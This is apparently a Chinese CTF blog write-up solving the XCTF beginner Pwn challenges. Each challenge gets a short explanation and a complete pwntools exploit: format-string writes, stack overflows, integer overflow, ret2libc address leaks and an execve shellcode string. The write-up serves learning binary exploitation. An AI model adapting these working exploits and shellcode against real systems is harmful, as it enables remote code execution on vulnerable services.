攻防世界-Pwn

- exp中所涉及的所有端口都要以题目中给的端口为准,攻防世界这个平台同一道题目。。不同时间来做的话,端口不一样。。。

0x01 get_shell

  • 纯新手题。
  • Linux系统 nc连接到题中给的地址,然后cat flag即可。

0x02 CGfsb

  • 考察格式化字符串漏洞。

  • emmm Freebuf上有很详细的格式化字符串漏洞原理及利用的讲解,链接如下。

传送门

传送门

  • 这个具体偏移可以手动测出来。

  • 测出来为10,所以exp中就用%10$n了。

  • pwnme的地址在IDA中就能找出来,是0x0804A068

  • 所以exp为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#coding:utf-8
from pwn import *

c = remote("111.198.29.45",37724)

pwnme = 0x0804A068

c.recvuntil('please tell me your name:')

c.sendline("aaaa")#这个随便输,但是输入需要小于等于10个字节。

c.recvuntil('leave your message please:')

c.sendline(p32(pwnme)+'a'*4+'%10$n')
#因为p32(pwnme)占4个字节, 而需要在%10$n前面输入8个字节,所以还需要补4个字节,所以加了4个a

c.interactive()

补充

  • 后来在看一篇文章的时候发现了一个点。

  • 改进后的exp如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

c = remote('111.198.29.45',33602)

c.recvuntil('please tell me your name:')

c.sendline('aaa')

pwnme = 0x0804A068

c.sendline('a'*8 +'%14$naaa' +p32(pwnme))

c.interactive()

0x03 when_did_you_born

  • 考察栈溢出、变量覆盖。


  • var_20 就是v4, var_18就是v5,他俩之间隔了8个字节。

  • 根据逻辑,第一次我们输入一个不是1926的数字,然后通过危险函数gets 将读入的数据存入v4, 通过溢出来覆盖v5,让v5的值为1926从而cat flag

  • exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

c = remote('111.198.29.45',41955)

c.recvuntil('Birth?')

c.sendline("9999")

c.recvuntil('Name?')

c.sendline("a"*8 + p32(1926))

c.interactive()

0x04 hello_pwn

  • 考察的和上一个题几乎一样。。。

  • 还是直接覆盖..

  • exp如下:

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

c = remote('111.198.29.45',30278)

payload = 'a'*4 +p64(1853186401)

c.recvuntil('lets get helloworld for bof')

c.sendline(payload)

c.interactive()

0x05 level0

  • 考察栈溢出。


  • 很明显的栈溢出
  • 存在/bin/sh而且有被system函数调用



  • 所以 exp如下:
1
2
3
4
5
6
7
8
9
10
11
from pwn import *

c = remote('111.198.29.45',34452)

payload = 'a'*(0x80+8) + p64(0x0000000000400596)

c.recvuntil('Hello, World\n')

c.sendline(payload)

c.interactive()

0x06 level2

  • 典型的栈溢出。

  • 存在/bin/sh但是没有调用。

  • 存在system函数但是是用来echo一些信息的。

  • 所以直接把system函数的参数修改成/bin/sh就好了。

  • exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# -*- coding: UTF-8 -*-
from pwn import *

c = remote('111.198.29.45',55974)

elf = ELF('./level2')

sys_add = elf.symbols['system']

binsh_add = elf.search('/bin/sh').next()#也可以直接用上图中找到的0x0804A024

payload = 'a'*(0x88+0x4) + p32(sys_add) + p32(0x0) + p32(binsh_add)
#为什么payload是这个顺序请看下文。

c.recvuntil('Input:')

c.sendline(payload)

c.interactive()
  • 为什么payload是上面那个顺序?
  • 答:

在32位程序运行中,函数参数直接压入栈中
调用函数时栈的结构为:调用函数地址->函数的返回地址->参数n->参数n-1->···->参数1

而在64位程序运行中,参数传递需要寄存器
64位参数传递约定:前六个参数按顺序存储在寄存器rdi, rsi, rdx, rcx, r8, r9中
参数超过六个时,从第七个开始压入栈中

0x07 guess_num

  • var_30就是 v8, seed就是seed, 可以进行覆盖,间隔为0x20个字节。

思路一

  • 覆盖seed为1, 模拟执行srand(1),然后在exp中模拟得到v7的各值进行输入。

  • 但是需要知道该程序的libc。

  • 可以通过如下方法得到libc版本。

方法一

  • 利用pwntools的ELF模块。

方法二

  • ldd命令。

  • 思路一的exp如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
from ctypes import *

c = remote('111.198.29.45',59620)

c.recvuntil('Your name:')

libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')

payload = 'a'*(0x20) + p64(1)

c.sendline(payload)

libc.srand(1)

for i in range(10):
c.recvuntil('Please input your guess number:')
c.sendline(str(libc.rand()%6+1))

c.interactive()

思路二

  • 覆盖seed, 然后直接求出10次 rand()%6+1,得到如下输出。

  • exp如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

c = remote('111.198.29.45',54730)

c.recvuntil('Your name:')

payload = 'a'*(0x20)+p64(1)

c.sendline(payload)

L = [2,5,4,2,6,2,5,1,4,2]

for i in L:
c.recvuntil('Please input your guess number:')
c.sendline(str(i))

c.interactive()

0x08 cgpwn2




  • 观察字符串发现并没有/bin/sh,但是有对bss段的name的操作,可以通过将/bin/sh写入name,然后构造payload。

在32位程序调用函数时栈的结构为:调用函数地址->函数的返回地址->参数n->参数n-1->···->参数1

  • 所以随便找一个返回地址0x0804854D

  • exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
context.log_level="debug"
c = remote('111.198.29.45',45942)

elf = ELF('./cgpwn2')

system = elf.symbols['system']

bin_sh = '/bin/sh'

bin_add = 0x0804A080

back = 0x0804854D

c.recvuntil('please tell me your name')

c.sendline(bin_sh)

c.recvuntil('hello,you can leave some message here:')

payload = 'a'*(0x26+4) + p32(system) + p32(back) + p32(bin_add)

c.sendline(payload)

c.interactive()

0x09 string

  • 题目宛如玩RPG游戏。

  • 先是给了你俩secret 让你去打龙, secret[0]就是v3的首地址,后面会用到。

  • 然后让你输入角色名字来创建角色。

  • 问你往哪走, 很明显根据逻辑需要走east

  • 让你给它个地址,然后输入你的愿望,这里有明显的格式化字符串漏洞printf(&format, &format);

  • 最后如果*a1 == a1[1] 即 最开始的v3[0] = 85,巫师就会帮助你,你就可以自己创造一个v1函数来执行了,这个函数肯定要创造成能拿到shell的函数。

  • 目标地址直接传给了v2, v2和format相连。

  • _isoc99_scanf("%s",&format);format的偏移为8,但是目标地址是存入v2了,所以实际偏移应该为8-1=7

  • shellcode就是通用的shellcode了,具体看下面链接。

传送门

传送门

  • exp如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *

c = remote('111.198.29.45',34306)

c.recvuntil('secret[0] is ')

add = c.recvuntil('\n')[:-1]

add = int(add,16)

c.recvuntil('name be:')

c.sendline('LiuLian')

c.recvuntil('east or up?:')

c.sendline('east')

c.recvuntil('leave(0)?:')

c.sendline('1')

c.recvuntil('Give me an address')

c.sendline(str(add))

c.recvuntil('you wish is:')

payload = 'a'*85 + '%7$n'

c.sendline(payload)

shellcode = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"

c.recvuntil('USE YOU SPELL\n')

c.sendline(shellcode)

c.interactive()

0x10 int_overflow

  • 考察整数溢出漏洞。

  • 这是个模拟登陆系统。

  • read函数都没有溢出点,接着查看check_passwd函数。

  • 发现了危险函数strcpy,s(即passwd)的空间明显大于dest的空间,可以通过这里进行溢出。

  • 但是要进入这个else语句,需要 v3(即passwd的长度)大于3 小于等于8,但是很明显这个长度根本不够写payload,所以要在这里进行整形溢出。

  • 查看汇编语言可以看到

  • passwd的长度是用al寄存器来传值的,而al寄存器是8位寄存器,传值的范围为0~255,超过这个范围就会造成溢出。

  • 实际长度256的话,传值以后为0, 257->1, 258->2 …以此类推。

  • 所以我们只需要让这个s(即passwd)的长度在260~264之间即可。

  • 查找字符串能找到cat flag 来到对应位置,是一个后门函数。

  • 后门函数的地址为0x0804868B

  • dest距离ebp的偏移为0x14,覆盖ebp需要4个字节,所以得到payload为:

  • payload = 'a'*0x14 + 'a'*4 + p32(0x0804868B) + 'a'*(260-0x14-4-4)

  • payload不唯一, 最后那个地方,260~264都可以。

  • exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

c = remote('111.198.29.45',52568)

payload = 'a'*0x14 + 'a'*4 + p32(0x0804868B) + 'a'*(260-0x14-4-4)

c.recvuntil('Your choice:')

c.sendline('1')

c.recvuntil('Please input your username:')

c.sendline('LiuLian')

c.recvuntil('Please input your passwd:')

c.sendline(payload)

c.interactive()

0x11 level3

  • 这题是Jarvis OJ - [XMAN]的原题,但是在攻防世界平台上面出了点bug,题目没给全(少了libc-2.19.so),而且远程怎么都跑不出来。

  • 原题链接:

传送门

  • 以原题为例吧。

  • read函数位置存在明显的栈溢出,但是这个题和level2不同,level2程序中存在system函数/bin/sh,只是system函数用来echo一些信息,/bin/sh没有被调用。

  • 但是这道题目程序中没有system函数,也不存在/bin/sh

  • 由于题目给了libc文件,考虑ret2libc。

  • 正常的溢出思路如下。

  • 但是由于不知道sys_addrbin addr的值,我们要想办法知道这俩的值。

  • 但是我们可以利用函数在内存中的地址和libc文件中的偏移的差相等,通过程序中的已有函数,比如readwrite来获得这个偏移差。而且给了libc文件,我们就能知道system函数/bin/sh在libc文件中的地址,从而通过sys_addr - sys_libc == write_addr - write_libc == 偏移差offset,得到sys_addr,同理可得bin addr

  • 曾试了好久能不能直接把writegot的值直接print出来,然而并没有成功,可能因为我太菜了,也可能是因为这个办法不可行。

  • 有一些技术性的文章,对做这个题目挺有帮助的,强烈建议看一看第一篇。

传送门

传送门

  • 这道题目用到了这么一个点。

  • 基本思路已经很清晰了。

在32位程序运行中,函数参数直接压入栈中
调用函数时栈的结构为:调用函数地址->函数的返回地址->参数n->参数n-1->···->参数1

  • 所以我们要想办法构成这种形式,我们的调用函数即write函数,后面的参数都是传给这个write函数的,调用完毕以后返回到我们的函数的返回地址

  • 从而exp如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# encoding:utf-8
from pwn import *

#io = process("./level3")
io = remote("pwn2.jarvisoj.com",9879)
elf = ELF("./level3")

writeplt = elf.plt["write"]#plt和got都在可执行程序中
writegot = elf.got["write"]
func = elf.symbols["vulnerable_function"]
print writegot
print u32(writegot)
libc = ELF("./libc-2.19.so")
writelibc = libc.symbols["write"]#libc中可以找到程序中有的/没有的函数的偏移
syslibc = libc.symbols["system"]
binlibc = libc.search("/bin/sh").next()

payload1 = 'a' * 0x88 + 'a'*4 + p32(writeplt) + p32(func) + p32(1)+p32(writegot)+p32(4)#溢出地址+返回地址+参数

io.recvuntil("Input:\n")
io.sendline(payload1)

writeaddr = u32(io.recv(4))#由于python没有指针,不能*write_got,需要将其输出并保存
sysaddr = writeaddr - writelibc + syslibc#利用偏移量相等获得其真实地址
binaddr = writeaddr - writelibc + binlibc

payload2 = 'a' * 0x88 + 'a'*4 + p32(sysaddr) + p32(func) + p32(binaddr)
io.recvuntil("Input:\n")
io.sendline(payload2)
io.interactive()
io.close()

后续补充

后来在刷BUUCTF的时候写了一个能打通的EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'

#c = process('./level3')
elf = ELF('./level3')
#libc = ELF('/lib/i386-linux-gnu/libc.so.6')
c = remote('node3.buuoj.cn',26690)

main = 0x08048484

c.recvuntil('Input:\n',timeout = 0.5)

payload = 'a'*0x88 + 'bbbb' + p32(elf.plt['write']) + p32(main) + p32(1) + p32(elf.got['write']) + p32(4)

c.sendline(payload)
write_addr = u32(c.recv(4))
log.success('write_addr = ' + hex(write_addr))
libc = LibcSearcher('write',write_addr)

libcbase = write_addr - libc.dump('write')
system = libcbase + libc.dump('system')
binsh = libcbase + libc.dump('str_bin_sh')

c.recvuntil('Input:\n',timeout = 0.5)
payload = 'a'*0x88 + 'bbbb' + p32(system) + p32(0xdeadbeef) + p32(binsh)
c.sendline(payload)

c.interactive()

新手练习区已完结

-------------至此本文结束感谢您的阅读-------------
如果觉得这篇文章对您有用,请随意打赏。 (๑•⌄•๑) 您的支持将鼓励我继续创作!